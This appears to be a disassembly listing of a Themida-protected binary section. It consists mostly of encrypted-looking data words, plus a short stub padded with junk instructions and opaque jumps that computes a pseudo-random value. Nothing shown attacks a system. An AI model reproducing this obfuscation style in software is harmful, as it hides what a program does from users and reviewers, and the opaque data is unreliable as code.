		dd 0DB56EAB1h, 325675BBh, 0AC24E2BFh, 0F0F89086h, 75DFD134h
		dd 0B6BFA2BDh, 0DB56ABB0h, 3256D5A1h, 0F13F69EEh, 240D22D9h
		dd 427E7DEAh, 0C5AC526h, 37BF6E82h, 1A5657B1h, 5B81C3F2h
		dd 3256C458h, 4DB385B1h, 48F0653Fh, 47469C8h, 462B47FEh
		dd 74DCD245h, 3251BEB0h, 976AABB1h, 6B472EB7h, 3DD6421Ah
		dd 3256E634h, 0F45546B1h, 3096DE44h, 32571549h,	23BF57B1h
		dd 0A656ABB1h, 0C6469988h, 0BF70E1B9h, 7805F5BFh, 0EC3C3546h
		dd 0B65986BAh, 3256AE93h, 6ACCDD4Dh, 3D50BD11h,	3256D033h
		dd 85598AB1h, 0D1D61449h, 0B330DAB0h, 0B31ECE6Bh, 51905976h
		dd 0F155369Fh, 3256A158h, 0E55128B1h, 167ACBFFh, 0CB1D4775h
		dd 3D5EFD38h, 32565536h, 8930CEB1h, 53367777h, 3E1122D0h
		dd 3256DD58h, 58DF67B1h, 32F8EE79h, 32E75351h, 3BBF5DB1h
		dd 3F56AEB1h, 8BDCE382h, 0B6AB4BEAh, 3D360D46h,	3256EB3Dh
		dd 0DBD789B1h, 0F91062Dh, 32A978D0h, 0B336AEB1h, 0C7E15F78h
		dd 0F3DDFC84h, 0F47DB4EBh, 3256FE58h, 0E1CF3BB1h, 48FD10F3h
		dd 47EF3Dh, 9332F187h, 13952705h, 528E5CBEh, 0DAB754D7h
		dd 3ABFB99Bh, 0E75675B1h, 90B33234h, 6AA3D0A6h,	30962DD0h
		dd 32565A58h, 0BA0F77B1h, 0C31618B8h, 3847D0CEh, 75DFA574h
		dd 3AD6B5B9h, 3D565DB1h, 3256AC38h, 0BB3737B1h,	0B359A7F6h
		dd 3256D5AEh, 32D9E5D1h, 0DB5675B1h, 3256BAA3h,	4FA7783h
		dd 17CA03D0h, 113E1845h, 0B949A0EEh, 0CA37839Dh, 325D64BEh
		dd 3D3675B1h, 3256BA3Dh, 5B82DDB1h, 0FBAECFD0h,	3257D1BEh
		dd 0F1AEABB1h, 3FBF2DD1h, 5256EAB1h, 421AECE0h,	82A8521Ah
		dd 4F67B85h, 26BFFBD0h,	155657B1h, 0D8AA649Bh, 977224Dh
		dd 832DF68Dh, 0F4BABCEEh, 0CA24945Bh, 3BBFB13Ah, 6B56AEB1h
		dd 9E4BCE01h, 5DE25DE2h, 52AA1132h, 53955DBEh, 8D5915D1h
		dd 30DBB561h, 0B9565DB1h, 32BECF79h, 685657B1h,	0FE234130h
		dd 0CAAAD3A6h, 0A395503Ah, 35BF73A6h, 0B556BAB1h, 0CDCC3521h
		dd 0FB653F8Bh, 8D5906D1h, 0B137F273h, 0B659D58Eh, 3256EE48h
		dd 3D51FE4Dh, 3256BD3Ah, 33D852B1h, 0CE56AEB1h,	3D5A224Eh
		dd 3256BD39h, 32473CB1h, 2E80EAB1h, 79AACBA4h, 0C45AEA92h
		dd 1E4EF4CEh, 0CD8B571Ch, 0B0595FC4h, 3256ABB4h, 0C737B5D1h
		dd 0DAAFBAD0h, 32567C01h, 3256B458h, 0C38996B1h, 280E88EDh
		dd 68F785A1h, 392474C7h, 2FD3DA71h, 5256EAB1h, 3250FABEh
		dd 0BA59BAB1h, 32565DB1h, 4FF84930h, 0B937641Ch, 2DBF53B6h
		dd 0CB56D5B1h, 0DB422D32h, 325675BBh, 5AFF959Eh, 8FE302BCh
		dd 56BFAD9Fh, 3DA9A84Eh, 3256AA36h, 77DF2DB1h, 3AD3E54Dh
		dd 525675B1h, 30B504D7h, 0CD37A900h, 5236A2C4h,	5237BB3Bh
		dd 3256BF58h, 4E3668B1h, 0D44529EBh, 0A2228CE3h, 0E035E4EEh
		dd 615E51B3h, 325F4683h, 5F1A57B1h, 6BC4C2B1h, 6A4AE187h
		dd 47A98BD0h, 32509CB9h, 259DBAB1h, 0C9C5858Dh,	0DA36994Eh
		dd 325657B8h, 71A8E60Fh, 1BD3C9D7h, 0ECDD8C04h,	42DFCBEAh
		dd 0DA37A548h, 32565559h, 3256BF58h, 3D7620B1h,	0EA15737Dh
		dd 695EF171h, 66F96730h, 0F25D07BAh, 32623EBEh,	26BF5DB1h
		dd 7656AEB1h, 9D5D189Ch, 41D21773h, 0E746A64Bh,	0E7D8C035h
		dd 0DBDA4BA3h, 3256B900h, 3246D8BEh, 39BFAEB1h,	0C95657B1h
		dd 0C22449E0h, 0FBBD9D32h, 77DD5911h, 356F8D4Dh, 31D938BEh
		dd 0B8365DB1h, 77A9CF42h, 0B459374Dh, 3256ABB2h, 0B3885ED7h
		dd 6A4CF561h, 4DD514EDh, 0B659BAB5h, 32565D9Bh,	3256A758h
		dd 2972F6B1h, 36301075h, 4DD54A62h, 0B659EABDh,	325675A3h
		dd 3237534Dh, 35BF5DB1h, 7E56AEB1h, 5B8E95C2h, 0CDEEED2Bh
		dd 0DBA92A4Eh, 3256EAA3h, 29B82A51h, 1461EB67h,	0E9B30E80h
		dd 46B4E5CCh, 37EFFB32h, 3D56ABB1h, 3256D436h, 99A513B1h
		dd 32566658h, 0C50F2FB1h, 61B98EE5h, 22232DBAh,	5FC75296h
		dd 97E2BF82h, 0CCFB3C49h, 0B359154Eh, 325675B6h, 325736BEh
		dd 0B1AF5DB1h, 3D53BECEh, 3256C135h, 325142B1h,	0F657D5B1h
		dd 0B1A77688h, 2229F6EAh, 95D3B5B7h, 52565DB1h,	0E31915D1h
		dd 21BE16E5h, 356ABB1h,	9251D55Ah, 86C5A9F0h, 0E681D81Bh
		dd 0F5C696FCh, 530D4976h, 0DBDF11D7h, 3250BED0h, 0CBACABB1h
		dd 0B617AE3Dh, 0CA3616F0h, 3611FED0h, 3256B658h, 0ABEB33B1h
		dd 7F344D11h, 5AF089CBh, 3E0920F1h, 33813C49h, 0B659EAB1h
		dd 325675A8h, 3256AE58h, 51F730B1h, 91E3E34Eh, 0E8B05CF9h
		dd 6749FE15h, 0E032EF29h, 3AD8E51Ch, 525675B1h,	3DA831D7h
		dd 0B937AE06h, 3DBFAAF6h, 605657B1h, 0C2AA96E4h, 0BC55601Ch
		dd 684FE37Dh, 6DDD718Fh, 33D6B5BDh, 0CB565DB1h,	32572F58h
		dd 75DDAEB1h, 0B759CBB5h, 3256D5BAh, 3256EC58h,	1C8B54B1h
		dd 0DA7098D2h, 32565DBFh, 0B676A8B9h, 0D20E6B26h, 0C0E35961h
		dd 0D8EC9219h, 6C72151Bh, 32539CD0h, 0F40BBAB1h, 0B9972388h
		dd 9AEA2EEh, 0B7595FEEh, 3256AB2Eh, 52368748h, 3256EF58h
		dd 5A7DBBB1h, 0B759C31Eh, 32565DB1h, 0D3B52FD0h, 5340C8EDh
		dd 3256A458h, 0DC4EDEB1h, 629A6D0Fh, 2E926BEEh,	0E63532D2h
		dd 3D520A3Ah, 3256A43Dh, 0B93037B1h, 54931373h,	19379BAFh
		dd 0B059FAE4h, 325675BAh, 32D4B5D1h, 3D565DB1h,	31375D0Eh
		dd 37BF43E4h, 0FC56ABB1h, 0F51A23AAh, 0DEC8CD1h, 768DF52Eh
		dd 3E0931D0h, 0E87DA54Dh, 325C2DBEh, 37BF57B1h,	0A056ABB1h
		dd 8581E38Bh, 0CA530132h, 8CAF15EBh, 6D4DBFEFh,	3234B4D0h
		dd 3D36AEB1h, 8C30A106h, 0B937B081h, 0B559D1F6h, 3256EAB0h
		dd 3E09FE44h, 0EAE1B5D1h, 3258B4D0h, 0C0F2AEB1h, 0EF7AFF90h
		dd 56B1F87Ah, 1D401218h, 0CA52B59Ah, 32566558h,	0CF5528B1h
		dd 0A0C35C84h, 8F7F339Ch, 0DD2B008Bh, 37BD286Ch, 2A8155D1h
		dd 71CE1D30h, 313738C6h, 235F6B3Bh, 33DA52B7h, 0C756AEB1h
		dd 31462832h, 326E2EBEh, 0B459D5B1h, 3256EAA4h,	32566558h
		dd 0C85AAEB1h, 0B858CA87h, 0FEA5E66Ah, 0CFB5A64Dh, 0B659EAE4h
		dd 3256D5A7h, 3256FB58h
		dd 25A47FB1h, 54F14E6Ch, 2C9B7A79h, 0A0DC511Bh,	0EB7DBBCDh
		dd 330A2249h, 33D6DAB0h, 0CE56EAB1h, 0CDA98A09h, 3DBFDA4Eh
		dd 0F9565DB1h, 7C942F67h, 0FDCC0F17h, 0A6A3E75Dh, 0B2598D81h
		dd 3256EAB3h, 8B372AE2h, 3256BAB4h, 3257DBBEh, 52A3AEB1h
		dd 32565C58h, 45D546B1h, 76692B0h, 0A9AA04D7h, 32567A59h
		dd 2F392EB1h, 6D72B823h, 875A0B33h, 6DD9455Dh, 0D69D780Ah
		dd 0C1378F9Dh, 325E031Ah, 8C5875B1h, 883CA996h,	22BF2F3Dh
		dd 0FB56AEB1h, 73AEE2B1h, 2DFB09DAh, 0A2681B8Ch, 0DB67EB08h
		dd 0CDA98E76h, 3256AA58h, 0F6820DB1h, 82E9B6D3h, 0C6C08BBEh
		dd 7B2E64D7h, 8A36B487h, 6A5D95A3h, 32567C58h, 1A1113B1h
		dd 86608441h, 0FB378A9Eh, 32469549h, 3256A058h,	27E211B1h
		dd 237FF337h, 0E1CF3B2Eh, 0F5D7DAE4h, 7322CFA9h, 0DEDDCF44h
		dd 3DBE3748h, 0AC56ABB1h, 0EC0615Eh, 0D6B8F498h, 80A3041h
		dd 6CAFF661h, 0B137A73Ah, 52AE5275h, 0C2D731D1h, 8B30D7E2h
		dd 52372972h, 891E3D31h, 62ECE84h, 325652D0h, 0B30C5DB1h
		dd 2584A25Bh, 0E0E337B7h, 3D37F1E6h, 3256D437h,	21BF13B1h
		dd 0ED5675B1h, 0B9ED6D9Bh, 4365E569h, 0D0B85A2Fh, 0A55FC588h
		dd 88DD83DAh, 34414472h, 32426EBEh, 0DB3675B1h,	3256BABCh
		dd 0BC79E377h, 236B46F1h, 4B97E07Ah, 0FB65CAB9h, 3256D258h
		dd 615EE6B1h, 40AC6583h, 3D568532h, 3255B135h, 35DD5BB1h
		dd 3DD3E6D1h, 3256A934h, 53AC5EB1h, 3D9E5ED1h, 0CD378D0Eh
		dd 0DA36B6C4h, 32565DBCh, 0EFDBA176h, 0AE8E4813h, 3B974CD7h
		dd 49EEB355h, 53AFB23Bh, 0CA5E004Eh, 8B30DAE1h,	0B330A1BAh
		dd 53CA7469h, 32558859h, 38D3A4B1h, 5256D5B1h, 0B3591B3Ah
		dd 325675B1h, 3D96B1D0h, 32567834h, 35DD56B1h, 32565858h
		dd 0CA7EF4B1h, 0AC4E0ECBh, 0CB1C9F6Ch, 0E0DFF00Dh, 32569558h
		dd 0B336A5B1h, 0C6DBC77h, 0F5D536BBh, 33DAA4A5h, 0CA56D5B1h
		dd 0CDA98958h, 32449C4Eh, 408BBAB1h, 0D12546E0h, 0C86403B6h
		dd 2BEC8EADh, 6C7E2E84h, 3DAA9038h, 3256F53Ah, 2BD27AB1h
		dd 0DB56BAB1h, 32565DA5h, 4CF760E7h, 4230C8C8h,	1FC61914h
		dd 0ACC2BED2h, 93CF7690h, 3D5A004Eh, 3256B336h,	11E83DB1h
		dd 645BB137h, 47A936E8h, 3AD9A4B9h, 3D56D5B1h, 3256E838h
		dd 0CD3715B1h, 3ED7B586h, 3D565DB1h, 3256A837h,	32D958B1h
		dd 0DA56ABB1h, 3256D6A9h, 32586CBEh, 3BBF75B1h,	3F56BAB1h
		dd 0A9D1BE42h, 731E07FEh, 3257DEBEh, 39AFABB1h,	74D2DA71h
		dd 3D56EAB1h, 32567D3Fh, 30D2B5B1h, 52565DB1h, 30F147D0h
		dd 0B33657B1h, 93FC2E7Eh, 325B3D87h, 1612EAB1h,	0A89B9EEDh
		dd 0EB2CBC13h, 0DB8F9589h, 3256AEA2h, 3F4BD749h, 44134973h
		dd 0B3F5E901h, 0CD1CA1B4h, 6CDC1BDBh, 0CE1331D0h, 32564F58h
		dd 0AC79E0B1h, 141CF79Bh, 70E6175Fh, 0BE8A38A8h, 0BE4715Dh
		dd 60D47AB6h, 5256BAB3h, 3257D8BEh, 52AFAEB1h, 728DD6D7h
		dd 0CD37CAD4h, 3D3629F4h, 3256E935h, 0C2E97AB1h, 4DD5DB44h
		dd 0B6595DB5h, 3256AEE4h, 32565E58h, 4DE2ADB1h,	1D5AE236h
		dd 4DD5C4FDh, 0B65975BDh, 3256BA8Ch, 32564D58h,	13A895B1h
		dd 0B092A34Dh, 95ED18FDh, 2B31C0C6h, 32D403E9h,	0B65975B1h
		dd 3256BABDh, 32565A58h, 0BE0405B1h, 0EF41A5BBh, 325E42D1h
		dd 9943D5B1h, 0CFF17B6Eh, 0FCDDD5C0h, 0CDA902D0h, 35BFA24Eh
		dd 856AEB1h, 7B3A5B17h,	0B859B9E3h, 3256D5BEh, 3256E058h
		dd 839DBEB1h, 0F9D06DBEh, 8BCA6393h, 3256AEB4h,	32565B58h
		dd 0E2AF1DB1h, 6A5E544h, 33432B8Ah, 3DFD86C4h, 3256B635h
		dd 8B303DB1h, 0B5592CF4h, 325657B1h, 0CC3042D0h, 37BF2A4Eh
		dd 4756EAB1h, 21AD8D3Eh, 3746C532h, 323CD9BEh, 0B1A3AEB1h
		dd 3D5047CEh, 32561734h, 325C3CB1h, 0F3EDEAB1h,	2A62A724h
		dd 0B43AA960h, 325AB4F0h, 0BCB0AEB1h, 58FD6DE8h, 0C8CD1FB3h
		dd 75DD337Ah, 3ED2E5B5h, 3D5675B1h, 3256BC3Ah, 32D652B1h
		dd 0B956AEB1h, 3D365BEEh, 3256AD3Eh, 32D1DAB1h,	5356EAB1h
		dd 3256D858h, 3FD9B5B1h, 52565DB1h, 12477530h, 3DE9013Dh
		dd 535B79E4h, 5252923Ah, 3DA461D7h, 32567732h, 5337DAB1h
		dd 525A023Ah, 3256BA59h, 0A9D4BAB1h, 8C8ADC49h,	49C58D54h
		dd 31BD600Fh, 8D3D2915h, 690A0B5Ch, 53A4EABEh, 3256A758h
		dd 88F491B1h, 0BB8656A5h, 79BFCA06h, 0DB56EAB1h, 325675A0h
		dd 1C3B2077h, 6B5859C2h, 28B1370Bh, 38A8B594h, 361120ADh
		dd 3256D058h, 0B90B7B1h, 6DDDB4CFh, 6D7D43BDh, 0D9D5A4B5h
		dd 33D8A1B4h, 0CE5657B1h, 3146D432h, 325A50BEh,	0B159EAB1h
		dd 325675B5h, 538831D1h, 0EB7DA1F0h, 0F2E9A1D1h, 6EDF3648h
		dd 0B359AAB0h, 3256D5B0h, 0CDA95249h, 0BF598A4Eh, 3256BAA3h
		dd 32565058h, 0DB0F01B1h, 3E3FCAAh, 0E371F731h,	8BAF7E11h
		dd 3256EAB4h, 52FD8644h, 32573FBEh, 0DBAF5DB1h,	3256AEBDh
		dd 0CD5E963h, 21103FC2h, 457DDE2Ah, 0CEA803D0h,	88368A4Eh
		dd 1DCB7FCh, 32565658h,	7CE229B1h, 1CBDB0D1h, 0B390DED0h
		dd 0DA36B4D0h, 3256EABFh, 799A0566h, 5E61DDE2h,	42C1457Bh
		dd 6D0138BDh, 4077EEEAh, 0FB37E8FAh, 3256C658h,	210C46B1h
		dd 0A9C0B89Eh, 0F972AB1Dh, 0C45CA569h, 5FDEB36Ch, 0CA565F73h
		dd 33DEA4E4h, 0CE56D5B1h, 0B059063Ah, 325675BDh, 32503EBEh
		dd 0B7595DB1h, 3256AEB1h, 0CE92D44Dh, 325142D1h, 0F900D5B1h
		dd 363E3063h, 0FADD13DCh, 35BFDAD0h, 9C565DB1h,	47AE1718h
		dd 77DDC8B6h, 35D5A4B9h, 3D56D5B1h, 3256EB33h, 776D8DB1h
		dd 9D4B5BDh, 52565DB1h,	39E911D7h, 22136CD0h, 327A2CBEh
		dd 0C7A3D5B1h, 32AAAF76h, 0CB5675B1h, 3256F658h, 3CBE3DB1h
		dd 0AD56AEB1h, 8F62CAB7h, 0A7475426h, 0FED09B53h, 6D035930h
		dd 0D1D0230Ah, 7791DBBDh, 32565C4Dh, 325F47B1h,	3C0257B1h
		dd 7F450BD8h, 0DBBFA8B0h, 3256EAA4h, 37DD7AD1h,	5456BAB1h
		dd 28918230h, 32D1A1E7h, 6C5657B1h, 0B836CAD0h,	0FE8B340h
		dd 77DD8B59h, 33D17A4Dh, 0C756BAB1h, 25DD5278h,	0DB56AEB1h
		dd 325657A3h, 0C26677E0h, 168DF300h, 0DE7FA074h, 39C59D97h
		dd 26BF27F2h, 0F5565DB1h, 89C68FDh, 8556EC0Fh, 770A556Dh
		dd 52BD04B1h, 0F02CED2Bh, 3DBF75BDh, 3F56BAB1h,	1E072048h
		dd 61BC3305h, 0ED393125h, 3D039604h, 3256C133h,	325903B1h
		dd 0A5FB75B1h, 1FE5E41Eh, 0D3C543A5h, 5B7BC883h, 3DBADC74h
		dd 3256AA39h, 0F6D52CB1h, 20D9E54Dh, 0DB5675B1h, 3256BABCh
		dd 0ADEA36DAh, 8BACFFF2h, 78B51F5Ah, 0B059CBD6h, 3256D5BDh
		dd 32506DBEh, 0B65975B1h, 3256BAB1h, 32565D59h,	0D8D7F4B1h
		dd 34418FBEh, 0FB655744h, 3256C458h, 0ED0D4B1h,	577F6008h
		dd 628C9029h, 33AE94Ch,	0E9652988h, 325FBED1h, 0E212ABB1h
		dd 32CAA7A7h, 53EEB93Fh, 32566458h, 0D7781DB1h,	25321839h
		dd 59628D7Eh, 69E02EC6h, 6FDF0D96h, 88DD2C4Dh, 34417B72h
		dd 32566658h, 92200FB1h, 0BEB5D717h, 93553814h,	0BEDAAB28h
		dd 8FA850Dh, 3D56EA32h,	32545835h, 325A9CB1h, 76CCBAB1h
		dd 0D110399Fh, 600EC019h, 0DD5FEFAh, 0D3A44Eh, 3D56D5B1h
		dd 3256EB3Fh, 0F5D589B1h, 33DEB5A5h, 0CE565DB1h, 0CDA96958h
		dd 22BF374Eh, 0E056ABB1h, 0CCB88DBBh, 8561D2CFh, 0F00911BCh
		dd 8A8AA03Dh, 44216DE6h, 36292DD0h, 7AD258B1h, 5256ABB1h
		dd 855444h, 533CBCE8h
		dd 325A0A32h, 32633EBEh, 3D365DB1h, 3256AF3Eh, 0F9DDAEB1h
		dd 324242D0h, 0C82DD5B1h, 16AC401Ah, 0B726F30Bh, 0A0393994h
		dd 0BACD2F9Eh, 57BF4E1Ah, 525657B1h, 22862AD7h,	0F9D7B366h
		dd 0CD370343h, 0BB5989F4h, 3256BAB8h, 32D752D1h, 0CB56AEB1h
		dd 2691D4D0h, 324729BEh, 3EBFD5B1h, 0C156EAB1h,	5850677Ch
		dd 82E2DB2Eh, 0DB1344DBh, 0CDA95199h, 95E831D1h, 53892067h
		dd 324C5DBEh, 0DB36EAB1h, 325675A2h, 54907A9Bh,	7955FD48h
		dd 149C5489h, 0AD07D9DFh, 534BDB3Fh, 3746AA32h,	32286EBEh
		dd 0B1AF75B1h, 3D50AACEh, 32569934h, 3ADFA1B1h,	525657B1h
		dd 548020D7h, 73372D3Ah, 324B68BEh, 0B05975B1h,	3256BAA6h
		dd 32564F58h, 51F578B1h, 302BA70h, 2A309CA0h, 0FFFE4DF2h
		dd 0B9419D58h, 0B55971F6h, 3256BAB0h, 3E09D648h, 3256AB58h
		dd 47BBBFB1h, 31BFBA6Bh, 0CB56D5B0h, 32486BBEh,	0B25975B1h
		dd 3256BAA9h, 32564E58h, 4FB5DFB1h, 2B17C1B2h, 0F8FCB0D3h
		dd 25724847h, 50D4603Eh, 0DB52323Ah, 3256BABBh,	0BAF12BE3h
		dd 5BE92986h, 3FBF5216h, 9A56ABB1h, 25213C7Ch, 0E479EB9h
		dd 0BE17C683h, 0DB5AE53Ah, 32565DA0h, 34F5052h,	8534CA0Dh
		dd 7FE49B7Fh, 0E13474FBh, 0A2BF1FCCh, 0DB5675B1h, 3256BAB8h
		dd 24ED49C9h, 787B2F4Ah, 3611DC30h, 3256A058h, 0D71DDBB1h
		dd 0B29ABDF2h, 2564CD10h, 525AE53Ah, 0FDDDAE07h, 360985D0h
		dd 37BDD449h, 327F21BEh, 0DB36D5B1h, 3256EAA0h,	0D66045Ch
		dd 383C39BBh, 8D953B71h, 63F1AB44h, 325ABE47h, 929AABB1h
		dd 428512EDh, 0ACADBF19h, 0B137D76Fh, 3D55AACEh, 32567B34h
		dd 3D1752B1h, 3256563Fh, 0B05952B1h, 3256D5A6h,	324767BEh
		dd 3EBF75B1h, 9156BAB1h, 651B1C33h, 0A2A0A917h,	195B0990h
		dd 0F0DDCB68h, 89772C0Eh, 6EDF8BDBh, 3D3674B0h,	52376506h
		dd 0CDA9E5D0h, 35BF514Eh, 0DF5657B1h, 0D2F75A6h, 37EFB96Ch
		dd 5256EAB1h, 53BE9631h, 3DAF1142h, 32564E38h, 325847B1h
		dd 477757B1h, 1D237h, 4BFA96FDh, 5AB20CBCh, 0CDAB2658h
		dd 325F534Eh, 3F115DB1h, 4C546AC5h, 53039FE5h, 325723BEh
		dd 0CEAAD5B1h, 52AAAF3Ah, 54A1FED7h, 53DD4E09h,	85593D78h
		dd 33D7A140h, 0CE5657B1h, 3ABF68D0h, 6156D5B1h,	0FB53E57Eh
		dd 6261F0FBh, 3256BF58h, 5EBC9B1h, 5207AF13h, 1DE9A23Bh
		dd 5368D444h, 0DB04B5E2h, 3256EAB8h, 270001B6h,	8EB5C0C1h
		dd 39BE0466h, 0C756AEB1h, 0C65D807h, 85837E92h,	53364A2Ah
		dd 37BF8BE9h, 905675B1h, 3B45A6E5h, 32565D59h, 0D8D7F4B1h
		dd 34418C1Eh, 325120BEh, 0BB59D5B1h, 3256EAB0h,	32539C4Dh
		dd 102BBAB1h, 0C7CE5B81h, 53AD25D1h, 0A00ECD3Ch, 38BFADA6h
		dd 0D256D5B1h, 694389E6h, 221B85EDh, 37BFDA9Eh,	0C4565DB1h
		dd 0C47A81Ah, 32564558h, 0BE4EA2B1h, 84889FF9h,	0C3599193h
		dd 0AED1FB5Dh, 53AAE6B6h, 32563909h, 325947B1h,	2D2057B1h
		dd 3C5095FDh, 651530FAh, 8AF76A7Dh, 37649D83h, 0B9AABAB1h
		dd 0F36DA5BAh, 324247D1h, 0DBA257B1h, 27FF7999h, 0E1C17468h
		dd 0FE612DF1h, 8EC0D1h,	0DB373D46h, 32565D75h, 3256A158h
		dd 0CD812B1h, 0C14D7AE1h, 692A380h, 764F61EBh, 3D523EB2h
		dd 3256AD3Fh, 23D352B1h, 0DB56AEB1h, 325657BDh,	74243B60h
		dd 42FF52E0h, 5493329Fh, 0B059B48Ah, 3256BA7Ah,	3257D5BEh
		dd 31A3AEB1h, 0B25947FAh, 3256ABA9h, 3256C658h,	900363B1h
		dd 0C5F299D6h, 0C08B2788h, 0D89359B1h, 98E3941Ah, 0B059968Ah
		dd 3256AB93h, 3256DF58h, 38E42DB1h, 23121689h, 0DB4B66DDh
		dd 32565D99h, 325E25BEh, 0B55957B1h, 3256ABB3h,	4CBFB4D1h
		dd 5256EAB1h, 3FDD7AD0h, 5256BAB1h, 32565B58h, 31EE66B1h
		dd 534636D2h, 3256CF58h, 32443CB1h, 44EBEAB1h, 0A305C869h
		dd 0B1715402h, 0BE8D13C0h, 181A456Ch, 6056CD3Ch, 3CBFADA9h
		dd 5556D5B1h, 0A2B6F20Ch, 0CE30D6DAh, 32693CE2h, 3D85A2BAh
		dd 3256A434h, 6D0437B1h, 325627BEh, 0DB37D5B1h,	3256EAACh
		dd 3EDE7A49h, 3D56BAB1h, 32565B38h, 32D6A1B1h, 0BF5657B1h
		dd 2A038D2Bh, 0E1A929B7h, 0BC59B148h, 325675B0h, 0DB0F4F4Dh
		dd 32565DB8h, 11A67C68h, 0DE38E356h, 0DB36F36Ch, 3256D5B6h
		dd 5C8928C9h, 53AABD54h, 3BD1B572h, 52565DB1h, 1BE9CFD1h
		dd 5352D05Ah, 33D4A4E4h, 0CA56D5B1h, 6136063Ah,	0DA372C4Dh
		dd 3256BAB1h, 98BCDCEBh, 0CE50B96Ch, 0B8363749h, 1DB12A4Ch
		dd 5320B97Dh, 0A00E503Ch, 52A373A6h, 3A1331D0h,	325CD3BEh
		dd 0B236AEB1h, 0B330097Ch, 534E5F6Eh, 0B9AAD238h, 0BD59E6F4h
		dd 325675BDh, 325038BEh, 0B1595DB1h, 3256AEB1h,	3611DE48h
		dd 325E2CBEh, 0B336D5B1h, 7CC2F761h, 0B9AF14BCh, 3ABFAAF4h
		dd 72565DB1h, 0B3156186h, 0BB8F1E14h, 0B559A7F6h, 3256D5B0h
		dd 26136149h, 32519CD1h, 3D58BAB1h, 0F15B6FBh, 53A825BBh
		dd 2211DE4Dh, 3256BA58h, 1EF940B1h, 0E4D5BC4Bh,	49AD9598h
		dd 0DC8BDBB7h, 5237F598h, 3256BD59h, 0FDA5CEB1h, 3A95E29Eh
		dd 84027981h, 823B1639h, 1559F47Ch, 6D07DAE8h, 0FB373C49h
		dd 32412FBEh, 20BF57B1h, 5A56ABB1h, 0FCAF4930h,	0E670DAB3h
		dd 29A8A0F3h, 1716BBB7h, 32469FA1h, 324246D1h, 0D2C657B1h
		dd 0FB727429h, 0D04484BAh, 2B007A84h, 0DF8856E8h, 6C0495AAh
		dd 0C3DD3BEFh, 0B459CED0h, 325657BDh, 50ECCDD1h, 58BE5411h
		dd 530E8E01h, 3487F077h, 5211BCA0h, 0BA593C4Dh,	3256AEBBh
		dd 32565258h, 0CB6FF0B1h, 283EA4B0h, 3DFEFDC2h,	32566535h
		dd 325D53B1h, 1AAE5DB1h, 1DBC4FEAh, 71B6768Bh, 0E3E354D1h
		dd 0DB50C4BEh, 3256EABAh, 338573FCh, 0F1A1E43Ah, 3D20CB2Fh
		dd 3256A938h, 33DA58B1h, 0CA56ABB1h, 4629503Ch,	38BFECA5h
		dd 715675B1h, 0B40DDDD6h, 67D8F7C6h, 34BFCE70h,	0A55657B1h
		dd 0E9551BB2h, 0E2A9B492h, 325762BEh, 60AE75B1h, 0BDDC3749h
		dd 0C7504A22h, 325847E0h, 3D9D57B1h, 10C64A70h,	808963F4h
		dd 2D26CAC3h, 21BFA54Eh, 6656BAB1h, 0E66353D9h,	38754B5Ah
		dd 0DD68103Eh, 636AE65h, 520CBBA7h, 3256E558h, 8BBEE9B1h
		dd 2C1D53D8h, 0BCC5E029h, 2A0C96Dh, 0BF37913Ah,	25C52433h
		dd 855920B7h, 3EBFE6F1h, 195675B1h, 0B893DEB2h,	6D5549F1h
		dd 0DB4DA59Ah, 325657B4h, 0D97C4062h, 3D8E5ED2h, 3256F233h
		dd 32459CB1h, 3870BAB1h, 0F21239E5h, 504C3C61h,	96E5702Fh
		dd 25EB1F3Dh, 0B559871Fh, 3256EAA9h, 32589DD1h,	0D842BAB1h
		dd 0FCFADFD5h, 0DD01A2EEh, 0F3D2CD46h, 530FFCEFh, 0B336E4BEh
		dd 2BFC7046h, 325D9CDBh, 4500BAB1h, 3D26EDCBh, 6E5EA12Dh
		dd 0DB0C361Eh, 3256ABA0h, 0BCACE195h, 0BBBF8DD4h, 0B17AF31Fh
		dd 0AFAF5795h, 3D955EACh, 3256B03Ah, 2AD058B1h,	0DB56ABB1h
		dd 3256D5A2h, 534A08D2h, 3B80D6AAh, 512C4A82h, 0B765313Fh
		dd 0BB774CF7h, 23439233h, 3DD7A4B7h, 0DB56D5B1h, 3256EABBh
		dd 0F931A297h, 5E4788Ch, 0C7378D60h, 0F51FC72h,	18Bh, 0FC52FC00h
		dd 0E8h, 0EA815A00h, 617E07Fh, 6E860F5h, 3A000000h, 77075D93h
		dd 880F5EF5h, 0
; ---------------------------------------------------------------------------
		popa
		push	edx
		jmp	loc_5B7C78
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4BB3DC9Ah, 0AFDDA808h, 39EF1924h, 1770A865h
; ---------------------------------------------------------------------------


loc_5B7C78:				; CODE XREF: Themida_:005B7C62j
		mov	eax, [edx+61115C5h]
		jmp	loc_5B7C94
; ---------------------------------------------------------------------------
		dec	edi
		push	eax
		cwde
		das
		cmp	[esi-24h], cl
		daa
		push	ecx
		jbe	short loc_5B7CB2
		test	byte ptr [edi+6Fh], 0F6h
		test	al, 0ABh


loc_5B7C94:				; CODE XREF: Themida_:005B7C7Ej
		jle	loc_5B7CA4
		jmp	loc_5B7CA4
; ---------------------------------------------------------------------------
		db 0EFh
		dd 0CA262E56h
; ---------------------------------------------------------------------------


loc_5B7CA4:				; CODE XREF: Themida_:loc_5B7C94j
					; Themida_:005B7C9Aj
		mov	ecx, 41C64E6Dh
		stc
		mul	ecx
		cld
		pop	edx
		pusha
		mov	dh, bl
		popa


loc_5B7CB2:				; CODE XREF: Themida_:005B7C8Cj
		add	eax, 3039h
		jl	loc_5B7CD1
		jp	loc_5B7CD1
		jmp	loc_5B7CD1
; ---------------------------------------------------------------------------
		dd 4D0AA971h, 65FAF592h
		db 2Bh
; ---------------------------------------------------------------------------


loc_5B7CD1:				; CODE XREF: Themida_:005B7CB7j
					; Themida_:005B7CBDj ...
		and	eax, 7FFFFFFFh
		jmp	loc_5B7CE8
; ---------------------------------------------------------------------------
		db 73h
		dd 7FA2FDDEh, 0E231A7A5h, 9F664492h
; ---------------------------------------------------------------------------


loc_5B7CE8:				; CODE XREF: Themida_:005B7CD6j
		mov	[edx+61115C5h],	eax
		pusha
		mov	esi, edi
		mov	dl, al
		popa
		pop	edx
		jnp	loc_5B7CFC
		stc


loc_5B7CFC:				; CODE XREF: Themida_:005B7CF5j
		pop	ecx
		jb	locret_5B7D0B
		pusha
		mov	bx, cx
		mov	cx, di
		popa

locret_5B7D0B:				; CODE XREF: Themida_:005B7CFDj
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5B7D20
; ---------------------------------------------------------------------------
		db 5Dh,	88h, 2Dh
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 3, 0C4h, 63h
